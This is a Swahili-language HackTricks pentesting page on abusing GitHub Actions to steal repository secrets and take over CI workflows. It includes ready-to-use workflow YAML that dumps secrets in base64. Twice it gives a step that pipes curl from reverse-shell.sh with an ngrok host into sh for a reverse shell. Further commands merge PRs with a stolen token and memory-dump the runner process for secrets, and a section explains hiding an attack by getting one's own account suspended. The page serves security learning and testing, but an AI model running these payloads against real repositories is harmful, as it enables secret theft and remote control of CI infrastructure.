Abusing Github Actions

Support HackTricks

Taarifa za Msingi

Katika ukurasa huu utapata:

  • Muhtasari wa athari zote za mshambuliaji kufanikiwa kupata ufikiaji wa Github Action

  • Njia tofauti za kupata ufikiaji wa action:

  • Kuwa na ruhusa za kuunda action

  • Kudukua pull request zinazohusiana na triggers

  • Kudukua njia nyingine za ufikiaji wa nje

  • Kupivot kutoka kwenye repo iliyokwisha dukuliwa

  • Hatimaye, sehemu kuhusu mbinu za baada ya shambulio za kudukua action kutoka ndani (kusababisha athari zilizotajwa)

Muhtasari wa Athari

Kwa utangulizi kuhusu Github Actions angalia taarifa za msingi.

Iwapo unaweza kutekeleza Github actions kiholela/kudunga code katika repository, unaweza kuwa na uwezo wa:

  • Kuiba secrets kutoka kwenye repo/organization hiyo.

  • Ikiwa unaweza tu kudunga, unaweza kuiba chochote kilichopo tayari kwenye workflow.

  • Kudukua ruhusa za repo kufikia majukwaa mengine kama AWS na GCP.

  • Kutekeleza code katika custom workers (ikiwa custom workers zinatumika) na kujaribu kupivot kutoka hapo.

  • Kufuta code ya repository.

  • Hii inategemea ruhusa za GITHUB_TOKEN (ikiwa ipo).

  • Kudukua deployments na artifacts nyingine.

  • Ikiwa code inafanya deployment au kuhifadhi kitu unaweza kubadilisha hicho na kupata ufikiaji zaidi.

GITHUB_TOKEN

Hii "secret" (inayotoka ${{ secrets.GITHUB_TOKEN }} na ${{ github.token }}) inatolewa wakati admin anapowasha chaguo hili:

Token hii ni sawa na ile ambayo Github Application itatumia, hivyo inaweza kufikia endpoints sawa: https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps

Github inapaswa kutoa flow ambayo inaruhusu ufikiaji wa cross-repository ndani ya GitHub, hivyo repo inaweza kufikia repos nyingine za ndani kwa kutumia GITHUB_TOKEN.

Unaweza kuona ruhusa zinazowezekana za token hii katika: https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token

Kumbuka kuwa token inaisha muda baada ya kazi kukamilika. Token hizi zinaonekana kama hii: ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7

Baadhi ya mambo ya kuvutia unayoweza kufanya na token hii:

# Merge PR
curl -X PUT \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
-d '{"commit_title":"commit_title"}'

Kumbuka kwamba katika matukio kadhaa utaweza kupata github user tokens ndani ya Github Actions envs au kwenye secrets. Tokens hizi zinaweza kukupa haki zaidi juu ya hazina na shirika.

Orodhesha secrets katika matokeo ya Github Action

```yaml name: list_env on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: List_env: runs-on: ubuntu-latest steps: - name: List Env # Need to base64 encode or github will change the secret value for "***" run: sh -c 'env | grep "secret_" | base64 -w0' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```

Pata reverse shell na secrets

```yaml name: revshell on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: create_pull_request: runs-on: ubuntu-latest steps: - name: Get Rev Shell run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```

Inawezekana kuangalia ruhusa zilizotolewa kwa Github Token katika hazina za watumiaji wengine kwa kuangalia magogo ya vitendo:

Utekelezaji Ulioruhusiwa

Hii itakuwa njia rahisi zaidi ya kuathiri Github actions, kwani kesi hii inadhani kuwa una ufikiaji wa kuunda hazina mpya katika shirika, au una haki za kuandika juu ya hazina.

Ikiwa uko katika hali hii unaweza tu kuangalia Mbinu za Post Exploitation.

Utekelezaji kutoka kwa Uundaji wa Hazina

Iwapo wanachama wa shirika wanaweza kuunda hazina mpya na unaweza kutekeleza github actions, unaweza kuunda hazina mpya na kuiba siri zilizowekwa katika kiwango cha shirika.

Utekelezaji kutoka kwa Tawi Jipya

Ikiwa unaweza kuunda tawi jipya katika hazina ambayo tayari ina Github Action iliyosanidiwa, unaweza kubadilisha hiyo, kupakia yaliyomo, na kisha kutekeleza hiyo action kutoka kwa tawi jipya. Kwa njia hii unaweza kutoa siri za hazina na shirika (lakini unahitaji kujua jinsi zinavyoitwa).

Unaweza kufanya action iliyobadilishwa iweze kutekelezeka kwa mikono, wakati PR inaundwa au wakati msimbo fulani unasukumwa (kulingana na jinsi unavyotaka kuwa na kelele):

on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- master
push: # Run it when a push is made to a branch
branches:
- current_branch_name

# Use '**' instead of a branh name to trigger the action in all the cranches

Utekelezaji wa Forked

Kuna vichochezi tofauti ambavyo vinaweza kumruhusu mshambulizi kutekeleza Github Action ya hazina nyingine. Ikiwa vitendo hivyo vinavyoweza kuchochewa vimewekwa vibaya, mshambulizi anaweza kuweza kuvihujumu.

pull_request

Kichochezi cha kazi pull_request kitatekeleza kazi kila wakati ombi la kuvuta linapopokelewa na baadhi ya ubaguzi: kwa chaguo-msingi ikiwa ni mara ya kwanza unashirikiana, baadhi ya mwenye hazina atahitaji kuidhinisha utekelezaji wa kazi:

Kama kizuizi cha chaguo-msingi ni kwa wachangiaji wa mara ya kwanza, unaweza kuchangia kurekebisha hitilafu/typo halali na kisha kutuma PR nyingine ili kutumia vibaya haki zako mpya za pull_request.

Nilijaribu hii na haifanyi kazi: Chaguo jingine litakuwa kuunda akaunti kwa jina la mtu aliyetoa mchango kwa mradi na kufuta akaunti yake.

Zaidi ya hayo, kwa chaguo-msingi huzuia ruhusa za kuandika na ufikiaji wa siri kwa hazina lengwa kama ilivyoelezwa katika docs:

Isipokuwa GITHUB_TOKEN, siri hazipitishwi kwa runner wakati kazi inachochewa kutoka kwa hazina ya forked. GITHUB_TOKEN ina ruhusa za kusoma tu katika maombi ya kuvuta kutoka kwa hazina za forked.

Mshambulizi anaweza kubadilisha ufafanuzi wa Github Action ili kutekeleza mambo ya kiholela na kuongeza vitendo vya kiholela. Hata hivyo, hatakuwa na uwezo wa kuiba siri au kuandika upya hazina kwa sababu ya vikwazo vilivyotajwa.

Ndiyo, ikiwa mshambulizi atabadilisha katika PR github action ambayo itachochewa, Github Action yake ndiyo itakayotumika na siyo ile ya hazina asili!

Kwa kuwa mshambulizi pia anadhibiti msimbo unaotekelezwa, hata kama hakuna siri au ruhusa za kuandika kwenye GITHUB_TOKEN mshambulizi anaweza kwa mfano kupakia artifacts zenye nia mbaya.

pull_request_target

Kichochezi cha kazi pull_request_target kina ruhusa za kuandika kwa hazina lengwa na ufikiaji wa siri (na haiombi ruhusa).

Kumbuka kwamba kichochezi cha kazi pull_request_target kinaendeshwa katika muktadha wa msingi na siyo katika ule uliotolewa na PR (ili kutoendesha msimbo usioaminika). Kwa maelezo zaidi kuhusu pull_request_target angalia docs. Zaidi ya hayo, kwa maelezo zaidi kuhusu matumizi haya hatari angalia blogu ya github.

Inaweza kuonekana kama kwa sababu kazi inayotekelezwa ni ile iliyofafanuliwa katika msingi na siyo katika PR ni salama kutumia pull_request_target, lakini kuna matukio machache ambapo siyo salama.

Na hii itakuwa na ufikiaji wa siri.

workflow_run

Kichochezi cha workflow_run huruhusu kuendesha kazi kutoka kwa nyingine wakati imekamilika, imeombwa au inaendelea.

Katika mfano huu, kazi imewekwa ili kuendeshwa baada ya kazi tofauti ya "Run Tests" kukamilika:

on:
workflow_run:
workflows: [Run Tests]
types:
- completed

Zaidi ya hayo, kulingana na nyaraka: Mchakato ulioanzishwa na tukio la workflow_run unaweza kupata siri na kuandika tokeni, hata kama mchakato wa awali haukuwa.

Aina hii ya mchakato inaweza kushambuliwa ikiwa inategemea mchakato ambao unaweza kuanzishwa na mtumiaji wa nje kupitia pull_request au pull_request_target. Mifano michache ya hatari inaweza kupatikana katika blogu hii. Ya kwanza inahusisha mchakato wa workflow_run unaoanzishwa kupakua nje msimbo wa mshambuliaji: ${{ github.event.pull_request.head.sha }} Ya pili inahusisha kupitisha artifact kutoka kwa msimbo usioaminika kwenda kwa mchakato wa workflow_run na kutumia maudhui ya artifact hii kwa njia inayofanya iwe hatari kwa RCE.

workflow_call

TODO

TODO: Angalia kama inatekelezwa kutoka kwa pull_request msimbo unaotumika/kupakuliwa ni ule kutoka asili au kutoka kwa PR iliyoforkiwa

Kudhalilisha Utekelezaji wa Forked

Tumetaja njia zote ambazo mshambuliaji wa nje anaweza kudhibiti kufanya mchakato wa github utekelezwe, sasa tuangalie jinsi utekelezaji huu, ikiwa umewekwa vibaya, unaweza kudhalilishwa:

Utekelezaji wa checkout usioaminika

Katika kesi ya pull_request, mchakato utaendeshwa katika muktadha wa PR (kwa hivyo utaendesha msimbo wa PR mbaya), lakini mtu anahitaji kuidhinisha kwanza na utaendeshwa na baadhi ya vikwazo.

Katika kesi ya mchakato unaotumia pull_request_target au workflow_run ambao unategemea mchakato ambao unaweza kuanzishwa kutoka pull_request_target au pull_request msimbo kutoka repo asili utaendeshwa, kwa hivyo mshambuliaji hawezi kudhibiti msimbo unaotekelezwa.

Hata hivyo, ikiwa action ina checkout ya PR wazi ambayo itapata msimbo kutoka PR (na si kutoka msingi), itatumia msimbo unaodhibitiwa na mshambuliaji. Kwa mfano (angalia mstari wa 12 ambapo msimbo wa PR unapakuliwa):

# INSECURE. Provided as an example only.
on:
pull_request_target

jobs:
build:
name: Build and test
runs-on: ubuntu-latest
steps:
    - uses: actions/checkout@v2
      with:
        ref: ${{ github.event.pull_request.head.sha }}

- uses: actions/setup-node@v1
- run: |
npm install
npm build

- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}

- uses: fakerepo/comment-on-pr@v1
with:
message: |
Thank you!

Msimbo ambao unaweza kuwa hauna uaminifu unatekelezwa wakati wa npm install au npm build kwani maandiko ya ujenzi na vifurushi vilivyorejelewa vinadhibitiwa na mwandishi wa PR.

Dork ya github ya kutafuta actions hatarishi ni: event.pull_request pull_request_target extension:yml hata hivyo, kuna njia tofauti za kusanidi kazi ili zitekelezwe kwa usalama hata kama action imewekwa kwa usalama duni (kama kutumia masharti kuhusu nani ni mwigizaji anayezalisha PR).

Sindano za Maandishi ya Muktadha

Kumbuka kuwa kuna baadhi ya muktadha wa github ambao thamani zake zinadhibitiwa na mtumiaji anayezalisha PR. Ikiwa action ya github inatumia data hiyo kutekeleza chochote, inaweza kusababisha utekelezaji wa msimbo holela:

Gh Actions - Context Script Injections

Sindano ya Maandishi ya GITHUB_ENV

Kutoka kwa nyaraka: Unaweza kufanya kigezo cha mazingira kipatikane kwa hatua zozote zinazofuata katika kazi ya mchakato kwa kufafanua au kusasisha kigezo cha mazingira na kuandika hii kwenye faili ya mazingira ya GITHUB_ENV.

Ikiwa mshambuliaji anaweza kuingiza thamani yoyote ndani ya kigezo hiki cha env, anaweza kuingiza vigezo vya env ambavyo vinaweza kutekeleza msimbo katika hatua zinazofuata kama LD_PRELOAD au NODE_OPTIONS.

Kwa mfano (hii na hii), fikiria mchakato unaoamini artifact iliyopakiwa kuhifadhi maudhui yake ndani ya kigezo cha env cha GITHUB_ENV. Mshambuliaji anaweza kupakia kitu kama hiki ili kuathiri:

Hatari za Tatu za Github Actions

Kama ilivyotajwa katika blogu hii, Github Action hii inaruhusu kupata artifacts kutoka kwa michakato tofauti na hata repos tofauti.

Tatizo ni kwamba ikiwa kigezo cha path hakijasetwa, artifact inatolewa katika saraka ya sasa na inaweza kuandika upya faili ambazo zinaweza kutumika baadaye au hata kutekelezwa katika mchakato. Kwa hivyo, ikiwa Artifact ni hatarishi, mshambuliaji anaweza kutumia hii kudhalilisha michakato mingine inayotegemea Artifact.

Mfano wa mchakato hatarishi:

on:
workflow_run:
workflows: ["some workflow"]
types:
- completed

jobs:
success:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: download artifact
uses: dawidd6/action-download-artifact
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
name: artifact
- run: python ./script.py
with:
name: artifact
path: ./script.py

Hii inaweza kushambuliwa na mtiririko huu wa kazi:

name: "some workflow"
on: pull_request

jobs:
upload:
runs-on: ubuntu-latest
steps:
- run: echo "print('exploited')" > ./script.py
- uses actions/upload-artifact@v2
with:
name: artifact
path: ./script.py

Ufikiaji wa Nje Mwingine

Utekaji wa Repo ya Namespace Iliyofutwa

Ikiwa akaunti inabadilisha jina lake, mtumiaji mwingine anaweza kusajili akaunti na jina hilo baada ya muda fulani. Ikiwa hazina ilikuwa na nyota chini ya 100 kabla ya kubadilisha jina, Github itaruhusu mtumiaji mpya aliyesajiliwa na jina hilo hilo kuunda hazina na jina hilo hilo kama ile iliyofutwa.

Kwa hivyo ikiwa kitendo kinatumia hazina kutoka kwa akaunti isiyokuwepo, bado inawezekana kwamba mshambulizi anaweza kuunda akaunti hiyo na kuhatarisha kitendo hicho.

Ikiwa hazina zingine zilikuwa zinatumia vifaa tegemezi kutoka kwa hazina za mtumiaji huyu, mshambulizi ataweza kuziteka. Hapa kuna maelezo kamili zaidi: https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/


Uhamishaji wa Repo

Katika sehemu hii tutazungumzia mbinu ambazo zitaruhusu kuhamisha kutoka hazina moja kwenda nyingine tukidhani tuna aina fulani ya ufikiaji kwenye ya kwanza (angalia sehemu iliyopita).

Uchafuzi wa Cache

Cache inahifadhiwa kati ya mizunguko ya kazi katika tawi moja. Hii inamaanisha kwamba ikiwa mshambulizi atahatarisha kifurushi ambacho kisha kinahifadhiwa kwenye cache na kupakuliwa na kutekelezwa na mzunguko wa kazi wenye ruhusa zaidi, ataweza pia kuhatarisha mzunguko huo wa kazi.

GH Actions - Cache Poisoning

Uchafuzi wa Vifaa

Mizunguko ya kazi inaweza kutumia vifaa kutoka kwa mizunguko mingine na hata hazina nyingine, ikiwa mshambulizi ataweza kuhatarisha Github Action inayopakia kifaa ambacho baadaye kinatumika na mzunguko mwingine wa kazi, ataweza kuhatarisha mizunguko mingine ya kazi:

Gh Actions - Artifact Poisoning

Utekelezaji Baada ya Shambulio kutoka kwa Kitendo

Kufikia AWS na GCP kupitia OIDC

Angalia kurasa zifuatazo:

AWS - Federation AbuseGCP - Federation Abuse

Kufikia siri

Ikiwa unaingiza maudhui kwenye script, ni muhimu kujua jinsi unavyoweza kufikia siri:

  • Ikiwa siri au token imewekwa kwenye variable ya mazingira, inaweza kufikiwa moja kwa moja kupitia mazingira kwa kutumia printenv.

Orodhesha siri katika matokeo ya Github Action

```yaml name: list_env on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: List_env: runs-on: ubuntu-latest steps: - name: List Env # Need to base64 encode or github will change the secret value for "***" run: sh -c 'env | grep "secret_" | base64 -w0' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}

secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

</details>

<details>

<summary>Pata reverse shell na secrets</summary>
```yaml
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- '**'
push: # Run it when a push is made to a branch
branches:
- '**'
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
  • Ikiwa siri inatumika moja kwa moja katika usemi, script ya shell inayozalishwa huhifadhiwa kwenye diski na inapatikana.

cat /home/runner/work/_temp/*

* Kwa JavaScript actions siri zinatumwa kupitia vigezo vya mazingira
* ```bash
ps axe | grep node
  • Kwa custom action, hatari inaweza kutofautiana kulingana na jinsi programu inavyotumia siri iliyopatikana kutoka kwa argument:

uses: fakeaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}

Kudhoofisha Self-hosted runners

Njia ya kupata ni Github Actions zinazotekelezwa katika miundombinu isiyo ya github ni kutafuta runs-on: self-hosted katika Github Action configuration yaml.

Self-hosted runners wanaweza kuwa na ufikiaji wa taarifa nyeti za ziada, kwa mfumo mingine ya mtandao (vituo vya mwisho vilivyo hatarini kwenye mtandao? huduma ya metadata?) au, hata kama imejitenga na kuharibiwa, zaidi ya action moja inaweza kuendeshwa kwa wakati mmoja na ile yenye nia mbaya inaweza kuiba siri za nyingine.

Katika self-hosted runners pia inawezekana kupata siri kutoka kwa _Runner.Listener_** mchakato** ambao utakuwa na siri zote za workflows katika hatua yoyote kwa kudondosha kumbukumbu yake:

sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"

Angalia chapisho hili kwa maelezo zaidi.

Github Docker Images Registry

Inawezekana kutengeneza Github actions ambazo zita jenga na kuhifadhi picha ya Docker ndani ya Github. Mfano unaweza kupatikana katika sehemu inayopanuka ifuatayo:

Github Action Build & Push Docker Image

```yaml [...]

  • name: Set up Docker Buildx uses: docker/setup-buildx-action@v1

  • name: Login to GitHub Container Registry uses: docker/login-action@v1 with: registry: ghcr.io username: ${{ github.repository_owner }} password: ${{ secrets.ACTIONS_TOKEN }}

  • name: Add Github Token to Dockerfile to be able to download code run: | sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile

  • name: Build and push uses: docker/build-push-action@v2 with: context: . push: true tags: | ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}

[...]

</details>

Kama ulivyoona katika msimbo wa awali, Github registry inahifadhiwa katika **`ghcr.io`**.

Mtumiaji mwenye ruhusa za kusoma kwenye repo ataweza kupakua Docker Image kwa kutumia personal access token:
```bash
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>

Kisha, mtumiaji anaweza kutafuta leaked secrets katika tabaka za picha za Docker:

Taarifa nyeti katika logi za Github Actions

Hata kama Github inajaribu kugundua thamani za siri katika logi za actions na kuepuka kuzionyesha, data nyingine nyeti ambayo inaweza kuwa imezalishwa katika utekelezaji wa action haitafichwa. Kwa mfano JWT iliyosainiwa na thamani ya siri haitafichwa isipokuwa imekuwa imewekwa maalum.

Kuficha Nyayo Zako

(Teknolojia kutoka hapa) Kwanza kabisa, PR yoyote iliyoinuliwa inaonekana wazi kwa umma katika Github na kwa akaunti ya lengo ya GitHub. Katika GitHub kwa default, hatuwezi kufuta PR kutoka kwenye mtandao, lakini kuna ujanja. Kwa akaunti za Github ambazo zimesimamishwa na Github, PR zao zote zinafutwa moja kwa moja na kuondolewa kutoka kwenye mtandao. Kwa hivyo ili kuficha shughuli zako unahitaji ama kusimamishwa kwa akaunti yako ya GitHub au akaunti yako kuwekewa alama. Hii itafanya shughuli zako zote kwenye GitHub zifichwe kutoka kwenye mtandao (kimsingi kuondoa PR zote za shambulio lako).

Shirika katika GitHub ni la haraka sana katika kuripoti akaunti kwa GitHub. Unachohitaji kufanya ni kushiriki “vitu fulani” katika Issue na watahakikisha akaunti yako inasimamishwa ndani ya masaa 12 :p na hapo unayo, umefanya shambulio lako lisionekane kwenye github.

Njia pekee kwa shirika kugundua kuwa limekuwa shabaha ni kuangalia logi za GitHub kutoka SIEM kwani kutoka kwenye UI ya GitHub PR itakuwa imeondolewa.

Zana

Zana zifuatazo ni muhimu kupata workflows za Github Action na hata kupata zile zilizo na udhaifu:

Last updated